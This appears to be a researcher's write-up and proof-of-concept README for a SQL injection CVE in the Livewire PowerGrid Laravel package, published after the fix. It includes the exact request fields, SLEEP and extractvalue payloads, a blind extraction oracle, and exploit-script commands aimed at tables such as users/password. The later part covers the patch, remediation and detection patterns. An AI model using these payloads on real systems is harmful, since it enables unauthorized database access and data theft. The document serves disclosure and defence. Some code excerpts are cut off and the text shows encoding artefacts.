## https://sploitus.com/exploit?id=C8A61F53-FE84-5853-976F-12C2B6FC448D
# CVE-2026-65971 β SQL Injection in Livewire PowerGrid via `sortDirection`
Proof-of-concept and full technical write-up for **CVE-2026-65971** / **GHSA-7fgc-3h6c-698r**,
an SQL injection in [`power-components/livewire-powergrid`](https://github.com/Power-Components/livewire-powergrid)
reachable through the public Livewire property `sortDirection`.
| | |
|---|---|
| **CVE** | [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971) |
| **GHSA** | [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r) |
| **Package** | `power-components/livewire-powergrid` (Composer / Packagist) |
| **Affected** | `>= 6.0.0, sortDirection === 'asc' ? 'desc' : 'asc';
}
```
`updatedSortDirection()` (line 103) exists β the natural place for validation β but in `v6.10.3`
it only handles lazy-loading bookkeeping. It never inspects the value.
Because Livewire hydrates public properties straight from the request, `sortDirection` is
**fully attacker-controlled, as an arbitrary string**, at this point.
### Stage 2 β The raw clause: `naturalSort()` plants a placeholder
`src/Providers/Macros.php`, lines 102β116 β the `naturalSort` column macro:
```php
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
```
`Sql::sortStringAsNumber()` resolves to a per-driver expression built by
`getSortSqlByDriver()` in `src/DataSource/Support/Sql.php` (lines 60β100). Every driver variant
ends with the same literal placeholder:
```php
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
```
The vulnerability is **driver-independent** β every branch interpolates `{sortDirection}`.
### Stage 3 β Sink: the placeholder is resolved with the raw property value
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php`
```php
private function resolvePlaceholders(?string $sql): ?string // line 56
{
if (is_null($sql)) {
return null;
}
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 β raw property, no escaping
}, $sql);
}
```
and the execution, line 52:
```php
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
```
`data_get($this->component, 'sortDirection')` returns the attacker's string, `preg_replace_callback`
splices it into the SQL text, and `orderByRaw()` β which by contract does **not** escape its
argument β passes it to the database.
Note the bitter irony one line below: `resolveBindings()` (line 69) exists, and `naturalSort`
declares `'bindings' => []`. The mechanism for safe parameterization is right there. It cannot be
used for a direction keyword β `ORDER BY x ?` is not valid SQL, a direction can never be a bound
parameter β which is precisely why a direction keyword **must** be allowlisted instead.
### The chain in one line
```
POST /livewire/update βββΆ public string $sortDirection (Sorting.php:13, no validation)
βββΆ data_get($component, 'sortDirection') (ColumnRawQueries.php:65)
βββΆ "CAST(...) {sortDirection}" β "CAST(...) asc, (SELECT SLEEP(3))"
βββΆ orderByRaw($sql) (ColumnRawQueries.php:52)
βββΆ MySQL/MariaDB/PgSQL/SQLite/MSSQL
```
---
## π The bypass β why Laravel's validation does not save you
This is the part that turns "raw interpolation" into an actually exploitable bug, and it is the
reason the issue survived in a mature, widely-used package.
PowerGrid processes a query through a **pipeline**. Two stages of that pipeline touch the sort
direction:
**`Sorting` pipeline** β `src/DataSource/Processors/Database/Pipelines/Sorting.php`:
```php
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
```
`orderBy()` is Laravel's **validating** API. Give it anything other than `asc`/`desc` and it
throws:
```
InvalidArgumentException: Order direction must be "asc" or "desc".
```
So on the normal path β user clicks a column header, `sortField=name`, `sortDirection=` β
the framework blocks the injection. A quick audit stops here and concludes "mitigated by Laravel".
**`ColumnRawQueries` pipeline** β the second stage, shown above β has **no such guard**. Look at
its `handle()` (lines 21β27): it iterates the columns, and for every column carrying `rawQueries`
it applies them *unconditionally*. It never consults `sortField`. It never consults the `Sorting`
pipeline's outcome.
That asymmetry is the bug:
| `sortField` | `Sorting` pipeline | `ColumnRawQueries` pipeline | Outcome |
|---|---|---|---|
| `"name"` (filled) | runs β `orderBy()` **validates** β throws on payload | runs β injects | β blocked by the exception |
| `""` (empty) | `filled('')` is `false` β **skipped entirely** | runs β injects | β **injection lands** |
Setting **`sortField` to an empty string** makes the validating stage skip itself, while the raw
stage still emits the `naturalSort` `ORDER BY` with the attacker's `{sortDirection}` in it. Laravel's
validation is never invoked, because the code path containing it never executes.
**The full attack is therefore two fields, not one:** `sortDirection` carries the payload,
and `sortField=""` is the key that unlocks the door.
---
## π― The exact fields
Everything happens through Livewire's standard update endpoint. No special headers, no custom
route, no admin function.
**Endpoint:** `POST /livewire/update`
**Body (JSON):**
```json
{
"_token": "",
"components": [
{
"snapshot": "",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
```
| Field | Role | Value |
|---|---|---|
| `components[0].updates.sortDirection` | **injection point** | the SQL payload, prefixed with a valid direction so the clause stays syntactically whole |
| `components[0].updates.sortField` | **bypass key** | `""` β empty, to skip the validating `Sorting` pipeline |
| `components[0].snapshot` | plumbing | Livewire component state; scraped from `wire:snapshot="..."` in the page HTML (HTML-unescape it) |
| `_token` / `X-CSRF-TOKEN` | plumbing | scraped from `data-csrf="..."` or the `"csrf":"..."` blob in the page |
**Resulting SQL** (MariaDB lab, `rooms` table, `name` column with `naturalSort`):
```sql
select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
```
The payload sits in a full expression slot of the `ORDER BY` list, which is why a bare subquery
works and why the clause remains valid SQL.
---
## π¬ How it was found β the path through the code
The order below is the actual order of reasoning, including the step that nearly closed the
investigation as a false positive.
**1. Attack surface first: Livewire public properties are attacker input.**
The framework's own model says every `public` property on a component is client-writable through
`/livewire/update`. So the audit question for any Livewire package is not "is there user input?"
but "which public properties reach a dangerous sink?". Enumerated PowerGrid's public properties;
`$sortField` and `$sortDirection` stood out as the ones that exist specifically to be composed
into SQL.
**2. Follow them to every sink.** Grepped the package for raw-SQL APIs β `orderByRaw`,
`whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` β and looked for any that could receive those
properties. `naturalSort`'s `'method' => 'orderByRaw'` in `Macros.php` was the hit.
**3. Find the connection between property and sink.** The raw SQL in `Sql.php` did not reference
`$this->sortDirection`; it contained the literal string `{sortDirection}`. Templating like that
implies a resolver somewhere. Grepping for the brace pattern led to
`ColumnRawQueries::resolvePlaceholders()` and its `data_get($this->component, $property, '')` β
a generic property reader with no escaping. Source and sink now connected.
**4. The step that almost killed it: the mitigation.** First live attempt β set `sortDirection`
to a payload and fire β produced not a leak but
`InvalidArgumentException: Order direction must be "asc" or "desc".` Laravel's `orderBy()` was
catching it. The tempting conclusion here is *"framework mitigates, not exploitable"*, and that
conclusion would have been wrong.
**5. Ask where the exception came from, not just that it happened.** The trace pointed at the
`Sorting` pipeline's `orderBy()` β **a different stage** from the `orderByRaw()` sink identified
in step 2. Two stages, two independent writes into the same `ORDER BY`, only one of them
validating. That reframed the question from "can I defeat Laravel's validator?" (no β it is a
strict comparison) to **"can I reach the raw stage without executing the validating stage?"**
**6. Read the guard.** The validating stage runs under `if (filled($this->component->sortField))`.
`filled('')` is `false`. The raw stage has no guard at all. The bypass was a direct consequence:
send `sortField=""` and only the unguarded stage runs.
**7. Confirm empirically, twice, with independent techniques.** A single positive signal is not
a finding β a time delta could be a rate limiter, an error could be a generic 500. Both an
error-based proof (the database echoing back the injected subquery verbatim) and a time-based
boolean oracle (differentiating TRUE from FALSE on real data) were required before calling it
confirmed. See [Evidence](#-evidence).
**Generalizable takeaway:** a framework-level mitigation only protects the code path it sits on.
When two pipeline stages write to the same SQL clause, "the framework validates it" is a claim
about one of them. Always ask which stage the validation actually lives in, and whether the
dangerous stage can run alone.
---
## π§ͺ Evidence
Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, with a `RoomTable`
PowerGrid component whose `name` column declares `->naturalSort(true)` and a `rooms` table
holding a `secret` column. Full lab in [`lab/`](lab/).
**Error-based β the injected subquery reaches the DB verbatim** (HTTP 500, `SQLSTATE[HY000] 1105`):
```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
```
The database parsed and executed an attacker-supplied `SELECT` inside the `ORDER BY`. This is
unambiguous proof of injection β the error text contains the injected SQL as executed, not as
submitted.
**Blind time-based β arbitrary data extraction:**
```
asc -> 0.02s baseline
asc, (SELECT SLEEP(3)) -> 9.04s injection executes
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE β value leaks
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE β oracle is sound
```
The TRUE/FALSE pair is what upgrades this from "something is slow" to "I can read your data":
the same request shape returns two cleanly separated timings depending on a condition over a
value the attacker cannot see. That is a working oracle, and `poc/exploit_powergrid_sqli.py`
walks it character by character.
> `SLEEP(3)` yields ~9s rather than ~3s because the sort applies the sleeping expression across
> multiple rows β a stronger, not weaker, signal.
Raw notes: [`evidence/EVIDENCE.txt`](evidence/EVIDENCE.txt).
---
## βοΈ Proof of Concept
Dependency-free, Python 3 standard library only.
```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
```
It will:
1. `GET` the page and scrape the CSRF token plus the `wire:snapshot` of the PowerGrid component;
2. time a benign `sortDirection=asc` request as a baseline;
3. fire `sortField="" / sortDirection="asc, (SELECT SLEEP(3))"` and compare timings;
4. if the delta confirms execution, extract data character by character through the boolean oracle.
Useful flags:
```bash
# non-destructive check only β verify vulnerable/patched, no data extraction
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
# choose what to extract
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
# authenticated targets (datatables usually sit behind login)
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
```
Against a patched `6.10.4` target the script reports no time delta and exits cleanly β the
allowlist collapses every payload to `asc`.
---
## β Fix analysis (`v6.10.4`)
The maintainers shipped **defense in depth across four call sites** β the correct shape for
this class of bug. The primitive:
```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
```
A strict allowlist with a safe default β not a blacklist, not escaping, not a regex. For a
keyword that cannot be a bound parameter, this is the only correct control.
Applied at:
1. **`ColumnRawQueries::resolvePlaceholders()`** β the sink. `{sortDirection}` is now special-cased
and resolved only through `sanitizeSortDirection()`, never through the generic `data_get()`.
2. **`Concerns\Sorting::updatedSortDirection()`** β the Livewire hook. Sanitizes on write, so the
property itself can no longer hold a payload.
3. **`Concerns\Sorting::sortBy()`** β sanitizes the direction argument.
4. **`Pipelines\Sorting::applySingleSort()` / `applyMultipleSort()`** β covers user-supplied
`sortUsing` callbacks, which may build their own `orderByRaw`. This closed a **second, related
path** beyond the one originally reported.
Regression tests were added: `tests/Feature/SortDirectionInjectionTest.php` and a
`DishesNaturalSortTable` fixture.
**Patch verification performed on the released tag** (not on a promise): cloned `v6.10.4`, grepped
every raw direction sink, ran the suite (30/30 pass), and fuzzed `sanitizeSortDirection()` with 17
payloads β the advisory's time-based payload, null bytes, SQL comments, hex literals, mixed case,
whitespace padding, unicode. All collapse to `asc` or `desc`. Remaining sinks (export via
`WithExport`/`ExportableJob`, Scout) go through validated `orderBy()` rather than `orderByRaw()`
and are not injectable.
**Verdict: PATCHED.**
The security-relevant portion of the diff is in [`patch/`](patch/security-fix-v6.10.4.diff).
---
## π‘οΈ Remediation & detection
### If you use PowerGrid
```bash
composer require power-components/livewire-powergrid:^6.10.4
composer audit
```
**Upgrade β do not try to work around it.** If you genuinely cannot upgrade today, the temporary
mitigation is to sanitize on the component itself:
```php
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
```
This is a stopgap. Upgrade.
### Am I affected?
The precondition is at least one column declaring `naturalSort`:
```bash
grep -rn "naturalSort" app/ resources/
```
No `naturalSort` column means the raw `ORDER BY` is never registered, and the primary path is not
reachable. Note that `v6.10.4` also hardened the `sortUsing` callback path β if your custom sort
callbacks build raw SQL from the direction, you are exposed through that path as well, `naturalSort`
or not.
### Detecting exploitation
The attack is a normal-looking Livewire request; there is no unusual endpoint or method to alert
on. Look at the **value** of `sortDirection` β legitimate traffic only ever sends `asc` or `desc`.
Anything else is, by definition, anomalous. Practical signals:
- `POST /livewire/update` where the JSON body contains `"sortDirection"` with a value that is not
exactly `asc`/`desc` (case-insensitive) β high fidelity, near-zero false positives;
- the same request carrying `"sortField":""` (empty) together with a non-trivial `sortDirection` β
the exact bypass signature;
- SQL keywords in that value: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- application error logs with `SQLSTATE[HY000] 1105` or `SQLSTATE[42000]` referencing `order by`;
- bursts of same-shape POSTs with response times clustering bimodally (fast/slow) β a blind oracle
being walked.
Two Sigma rules are provided in [`detection/sortdirection-sqli.yml`](detection/sortdirection-sqli.yml) β
one on the request body, one on the database error signature for when body logging is not
available. A Nuclei template that flags reachable PowerGrid components (the prerequisite surface)
is in [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](detection/nuclei-powergrid-sortdirection-sqli.yaml);
confirm any hit with `poc/exploit_powergrid_sqli.py --check-only`.
---
## ποΈ Disclosure timeline
| Date (UTC) | Event |
|---|---|
| 2026-05-23 | `v6.10.3` released β the version tested |
| 2026-05-26 | Vulnerability confirmed in lab (error-based + blind time-based extraction) |
| 2026-07-03 | Private security advisory submitted to Power-Components via GitHub |
| 2026-07-04 13:12 | **`v6.10.4` released with the fix** β ~31 hours after report |
| 2026-07-04 13:13 | Advisory published β GHSA-7fgc-3h6c-698r |
| 2026-07-23 | **CVE-2026-65971** assigned by GitHub (CNA) |
Credit to the Power-Components maintainers: report to patch in about a day, with a broader fix
than the one proposed β they hardened the `sortUsing` path too. That is how this is supposed to go.
---
## π References
- GitHub Security Advisory β [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD β [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Fix release β [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Fix diff β [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 β [Improper Neutralization of Special Elements used in an SQL Command](https://cwe.mitre.org/data/definitions/89.html)
- Livewire β [Properties are client-writable](https://livewire.laravel.com/docs/properties#security-concerns)
---
## βοΈ Legal
Published after coordinated disclosure, a released patch, and a public vendor advisory. The PoC
targets the local lab in [`lab/`](lab/) and is intended for defenders validating their own exposure
and for researchers studying the bug class. Running it against systems you are not authorized to
test is illegal. You are responsible for what you do with it.
---
**Caio FabrΓcio** β [@BiiTts](https://github.com/BiiTts) Β· [LinkedIn](https://www.linkedin.com/in/caio-fabrΓcio-b978131b5/)